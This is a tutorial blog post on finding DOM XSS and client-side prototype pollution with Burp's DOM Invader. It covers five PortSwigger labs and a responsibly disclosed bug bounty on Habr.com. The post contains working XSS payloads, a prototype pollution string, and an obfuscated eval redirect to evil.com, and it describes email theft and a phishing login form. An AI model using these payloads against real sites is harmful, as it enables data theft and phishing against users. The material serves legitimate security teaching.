looking for DOM XSS and Prototype Pollution using the example of five laboratory and one vulnerability on Habré
XSS
Cross-site scripting, known as XSS, is common in the world of web security. Along with IDOR, it ranks first in the Bug Bounty ranking in terms of the number of vulnerabilities found. The attack allows JavaScript code to be injected into an application page, after which users visiting the vulnerable page may lose various sensitive data, such as session cookies or authorization tokens.
Document Object Model (DOM)
The Document Object Model (DOM) is a hierarchical representation of the elements on a page in a web browser. Websites can use JavaScript to manipulate DOM nodes and objects. DOM manipulation in itself is not a problem – this is how all modern websites work. But JavaScript, which processes data insecurely, can allow various attacks to be carried out. DOM vulnerabilities occur when a site contains JavaScript that takes a user-controlled value (Source) and passes it to a dangerous function (Sink).
Source
A JavaScript property that accepts potentially user-controlled data. An example source is the location.search property because it reads input from a query string, which is relatively easy to manipulate. Ultimately, any property that can be controlled by the user is a potential Source. This includes the source URL (document.referrer), User Cookie (document.cookie) and WebMessages (read more about WebMessages here – https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).
Sink
A potentially dangerous JavaScript function or DOM object that could cause a vulnerability if passed user-controlled data. For example, the eval() function is a Sink because it treats the argument passed to it like JavaScript. An example of HTML-Sink is document.body.innerHTML, as this potentially allows HTML to be injected and arbitrary JavaScript to be executed.
Gadget
Small pieces of code that can be used to exploit vulnerabilities. Gadgets are often used in vulnerability chains to achieve greater impact. They are also used to bypass security measures, escalate privileges, or execute arbitrary code.
DOM Invader
DOM Invader is a browser-based tool that can help you find DOM XSS, Prototype Pollution, and DOM Clobbering vulnerabilities. The essence of its function is to study various Sources and Sinks, including postMessage vectors. It is accessible through the built-in Burp Suite browser: it is a pre-installed extension, you just need to enable it in the settings.
![](https://habrastorage.org/getpro/habr/upload_files/795/6e1/4ec/7956e14eca453f3b4659316ec7b662a7.png)
What can DOM Invader do?
Check for DOM XSS. An enhanced DOM view allows you to instantly identify managed Sinks on a page, showing you the injection point and XSS context, and how the passed input is processed.
Log, modify, and resend a WebMessage using the postMessage() method. This allows you to test DOM XSS via WebMessage (more details – https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages).
Automatically detect Sources Prototype Pollution on the client side and scan for managed Gadgets that are passed on to dangerous Sinks.
Automatically detect DOM clobbering vulnerabilities (more details – https://portswigger.net/web-security/dom-based/dom-clobbering).
Before we start using the tool, it's important to remember the context of DOM XSS vulnerabilities, so a little practice will come in handy.
Preparation
1. Update Canary (keyword used to identify the vulnerability), in our case it is XXS.
![](https://habrastorage.org/getpro/habr/upload_files/4eb/880/546/4eb8805466db64cf02d8b5fb1056fda8.png)
2. Open the DOM Invader tab in developer tools (F12).
![](https://habrastorage.org/getpro/habr/upload_files/bc8/b50/ee0/bc8b50ee01d4727f7c70fe9bda816e84.png)
3. Open the site that you will check for vulnerabilities and implement Canary in the settings.
![](https://habrastorage.org/getpro/habr/upload_files/cf9/835/599/cf9835599350c13a9b007ac5e3568768.png)
4. In the DOM Invader tab, check if Canary returns to Sink.
![](https://habrastorage.org/getpro/habr/upload_files/555/b00/afc/555b00afcabe1d2e59f52b1cc5c5e7b6.png)
5. If necessary, check the Stack Trace. It is displayed in the console when you click on the corresponding button in the DOM Invader.
![](https://habrastorage.org/getpro/habr/upload_files/4ad/72d/036/4ad72d036562f9109954342b1114c372.png)
Now let's move on to practice and understand how the extension works using the example of some laboratory labs of the PortSwigger Academy.
Lab 1. DOM XSS in document.write sink using source location.search
Here we can use the Inject forms function and then click “Search” on the site page:
![](https://habrastorage.org/getpro/habr/upload_files/2b4/b81/e10/2b4b81e10307cb010a51fef7b828c5ea.png)
In the extension you will see that Sink has been found. Now you can try to exploit the vulnerability:
![](https://habrastorage.org/getpro/habr/upload_files/c8e/2b7/d90/c8e2b7d90d865fada9cab088e32fd4de.png)
To examine this injection point in more detail, we can open Stack Trace, which will notify us that the trace is available in the console:
![](https://habrastorage.org/getpro/habr/upload_files/a95/c70/91b/a95c7091b66fc610dc20c75b46d8501f.png)
Now go to the console and open the piece of code in which Sink was detected:
![](https://habrastorage.org/getpro/habr/upload_files/3ff/91c/7fb/3ff91c7fb5f317aa0046b45a2ba28d12.png)
<script>
function trackSearch(query) {document.write('<img src="https://habr.com/resources/images/track
}
var query = (new URLSearchParams(window.location.search)).get("search');
if(query) {
trackSearch(query);
}
</script>
First we create a query variable and add the value of the search parameter to it:
var query = (new URLSearchParams(window.location.search)).get('search');
If query is not null, we call the trackSearch function and pass the value to it:
if(query) {
trackSearch(query);
}
The document.write() function is used to write strings to the page. First the page is loaded, and then our query value is added to it:
document.write('<img src="https://habr.com/resources/images/tracker.gif?searchTerms="+query+"">')
In this case, the Source, or injection point, is the location.search value that we control, and the Sink is document.write.
Now go to DOM Invader and try using the Exploit button – maybe the payload picked up by the extension will work?
![](https://habrastorage.org/getpro/habr/upload_files/fc8/7c4/90a/fc87c490ac96f21c8585bb573304ddff.png)
The exploit didn't work, but you can see that we added “> to the page and got stuck in the HTML tag:
![](https://habrastorage.org/getpro/habr/upload_files/ff2/238/d1b/ff2238d1b1b2d2ca3c916e9191c6f7c5.png)
Let's try to use the payload that was displayed on the page and add the value that was displayed outside the search result tag:
“><img src=x onerror=alert(1)>
![](https://habrastorage.org/getpro/habr/upload_files/9bb/2fa/a3e/9bb2faa3ebdc5a82ffc2c5a002c43e6a.png)
Although DOM Invader did not tell us the exact method of exploitation, this tool helps in finding Sources that can subsequently be exploited manually.
This is a fairly simple example, and such XSS can be found manually. But when we are testing an application with a huge number of forms, manual analysis will take a lot of time, and DOM Invader will speed up our work. In this format, testing becomes more effective. We no longer have to spend hours researching functions, sources, and the like to find XSS.
Lab 2. DOM XSS in innerHTML sink using source location.search
Go to DOM Invader, click inject forms, then click search on the page:
![](https://habrastorage.org/getpro/habr/upload_files/da5/cd9/792/da5cd97927d6131cbf4ee7d7959d29db.png)
Let's look at the Stack Trace:
![](https://habrastorage.org/getpro/habr/upload_files/c5b/276/60e/c5b27660ea7a07a86284b64136f19a77.png)
document.getElementById('searchMessage').innerHTML = query;
This line inserts our input into an HTML element with the id “searchMessage”. This uses the .innerHTML method, which creates a potential vulnerability because it inserts unsafe data directly into the element.
Click Exploit in DOM Invader and see that as a result an alert was displayed and JavaScript was executed:
![](https://habrastorage.org/getpro/habr/upload_files/534/659/8eb/5346598eb3f547684d5cae51efaf2540.png)
Lab 3. DOM XSS in document.write sink using source location.search inside a select element
In this lab, the injection point and application logic change slightly, so to find the injection point, you need to check the function for checking product balances:
![](https://habrastorage.org/getpro/habr/upload_files/d2f/15e/3e8/d2f15e3e8258685086ce00f8c9234f3e.png)
After looking at the request, we find the storeId parameter in the function for checking product balances:
![](https://habrastorage.org/getpro/habr/upload_files/dd4/87b/d95/dd487bd952eaefc6828b14f0a0d5cae2.png)
We pass the storeId parameter in the GET request and launch DOM Invader, click Inject URL params:
![](https://habrastorage.org/getpro/habr/upload_files/fb5/edc/ce8/fb5edcce8154cc0d39e5df667b989a72.png)
Let's look at the code in which the vulnerability occurs.
![](https://habrastorage.org/getpro/habr/upload_files/dc6/2df/fa6/dc62dffa67d0dfcb12fbef9b9bf451ee.png)
This code snippet first assigns the value of the store variable to the storeId parameter from the page URL:
var store = (new URLSearchParams(window.location.search)).get('storeId');
Meaning 'storeId' is not checked and ends up on the page without a return.
document.write('<select name="storeId">"'></select><img src onerror=alert(1)>');
This line of code is responsible for creating the dropdown list item, and the unsafe document.write() function creates a vulnerability.
if(store)
{
document.write('<option selected>'+store+'</option>');
}
There is a condition: if store is given a value, it is added to the list and marked as selected. This is where the DOM XSS vulnerability arises, as the store value is not properly processed.
Click Exploit and see that the XSS did not work and our input fell between the option tags:
![](https://habrastorage.org/getpro/habr/upload_files/c29/6c7/927/c296c79279dff792639318972a008d4d.png)
To make the vulnerability work, we go back to the code, look at the vulnerable function and slightly change the exploit to close the select tag. Our payload will end up in Sink something like this:
document.write('<select name="storeId">'</select><img src onerror=alert(1)>');
Click Exploit in DOM Invader and see that as a result an alert is displayed:
![](https://habrastorage.org/getpro/habr/upload_files/aff/154/ef0/aff154ef065d5c569f467a849c769ab3.png)
Lab 4. DOM XSS via client-side prototype pollution
Now we are looking for Prototype Pollution, and we need to enable the mode to search for this vulnerability in the extension.
![](https://habrastorage.org/getpro/habr/upload_files/5b0/2a4/472/5b02a4472477fe9c71d5cc19cfa98f04.png)
Go to the main page and open the extension. It immediately discovered the vulnerability:
![](https://habrastorage.org/getpro/habr/upload_files/ee6/17d/ab5/ee617dab5ca2c5cc1c909216f414ec03.png)
Click Scan Gadgets and see the found Sink:
![](https://habrastorage.org/getpro/habr/upload_files/531/9fe/90f/5319fe90f9eae54faecf16e339d98bf7.png)
We look at the Stack Trace in the browser console and go to the code where the vulnerability occurs:
![](https://habrastorage.org/getpro/habr/upload_files/803/932/30a/80393230a1eff72c9a779b5720c7eef8.png)
Vulnerable part of the code:
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
This section of code does not check its source before using config.transport_url. As a result, adding proto[transport_url]=data:,alert(1) into a request, you can force each object that passes through deparam to receive a transport_url property with the value data:,alert(1). This value will be used as the source for a new script element, resulting in the alert(1) code being executed.
Click Exploit:
![](https://habrastorage.org/getpro/habr/upload_files/c84/79e/2db/c8479e2dbc59708246b206df878a9930.png)
Laboratory 5. Client-side prototype pollution via browser APIs
Let's go to DOM Invader, where you can see that two injection points have been found:
![](https://habrastorage.org/getpro/habr/upload_files/1e4/a86/f73/1e4a86f738157071e95a2f57ff287ad4.png)
In this case, the extension does not find the vulnerable section of the code, so we use gadget scanning:
![](https://habrastorage.org/getpro/habr/upload_files/7d1/06e/28e/7d106e28ebe0e0aa9daf224db81e55c9.png)
Now we have the source and injection point, go to DOM Invader, look at the Stack Trace and the vulnerable code:
![](https://habrastorage.org/getpro/habr/upload_files/b1e/821/05b/b1e82105ba489855bf4ac7f88742f2de.png)
You can parse this code yourself, it will be good practice. Let's use the Exploit button and see that the JavaScript execution payload has worked:
![](https://habrastorage.org/getpro/habr/upload_files/250/c4d/350/250c4d35044f7930eaec728b0710be28.png)
Bug Bounty. DOM XSS in Habr.com
You might think that the extension will only help when searching for simple XSS in labs and is not particularly useful on a Bug Bounty or a new project, but in my experience, DOM Invader is capable of finding vulnerabilities anywhere.
Since I publish the text on Habr.com, I decided to test it for vulnerability and prove to you the thesis about the versatility of DOM Invader.
Detect
Add # to the page and our canary after the anchor, look at the DOM Invader tab:
![](https://habrastorage.org/getpro/habr/upload_files/8d2/655/786/8d2655786595ca2ff2e8b6304e075291.png)
Click Exploit:
![](https://habrastorage.org/getpro/habr/upload_files/6c4/76c/2cc/6c476c2cc46dbddc3b458014b29f4d8b.png)
Impact
To begin with, we can implement user redirection using a simple payload.
#'><img src onerror=eval(atob("ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo="))>
Where “ZG9jdW1lbnQubG9jYXRpb249aHR0cHM6Ly9ldmlsLmNvbQo=”: document.location=https://evil.com
Hmm, why is this dangerous?
Redirection is the simplest attack vector and can play an important role in exploiting this vulnerability.
In order to increase the impact of the vulnerability, I identified critical user data on Habr and noticed that the email of the authorized user was in the response from the page. All that remained was to capture this element. To do this, I wrote a small script that will search the page for an email element using a regular expression and send it to our server.
As a result, I managed to steal the email of an authorized user:
![](https://habrastorage.org/getpro/habr/upload_files/fd8/180/7dd/fd81807dde1049b26b0bb62c6ae918f0.png)
As an experiment, I implemented a phishing attack vector with rendering of the login form to the account, the payload is placed in eval:
![](https://habrastorage.org/getpro/habr/upload_files/034/f8d/b58/034f8db58421980bd4a173caeb0f7fd9.png)
An attentive reader may note that the payload size can be large enough to be transmitted to the user, to which I will remind you about redirection, which can help in exploiting the vulnerability. Thus, the user will need to submit a page with a redirect to the vulnerable site, which will then send him back to Habr, adding an anchor with a payload 🙂
I reported the found vulnerability to the Habr team, they responded within one hour, after which the vulnerability was successfully fixed, and I received my Bounty. Special thanks for the quick response and permission to mention the vulnerability in the article!
Useful articles in conclusion
We learned more about the nature of DOM XSS and Prototype Pollution vulnerabilities, learned how to use DOM Invader and what it is needed for. I hope the article was useful to you, and I advise you to additionally read the following materials:
DOM-based XSS – https://portswigger.net/web-security/cross-site-scripting/dom-based
Prototype Pollution – https://portswigger.net/web-security/prototype-pollution
DOM Clobbering – https://portswigger.net/web-security/dom-based/dom-clobbering
PostMessage – https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
WebMessage manipulation – https://portswigger.net/web-security/dom-based/web-message-manipulation
DOM XSS Web Message – https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages
Controlling the web message source — https://portswigger.net/web-security/dom-based/controlling-the-web-message-source
![](https://habrastorage.org/getpro/habr/upload_files/7cf/d70/727/7cfd707277c0400a9295160f6091a2a3.jpg)
Nikita Chistyakov
Information security consultant, Jet Infosystems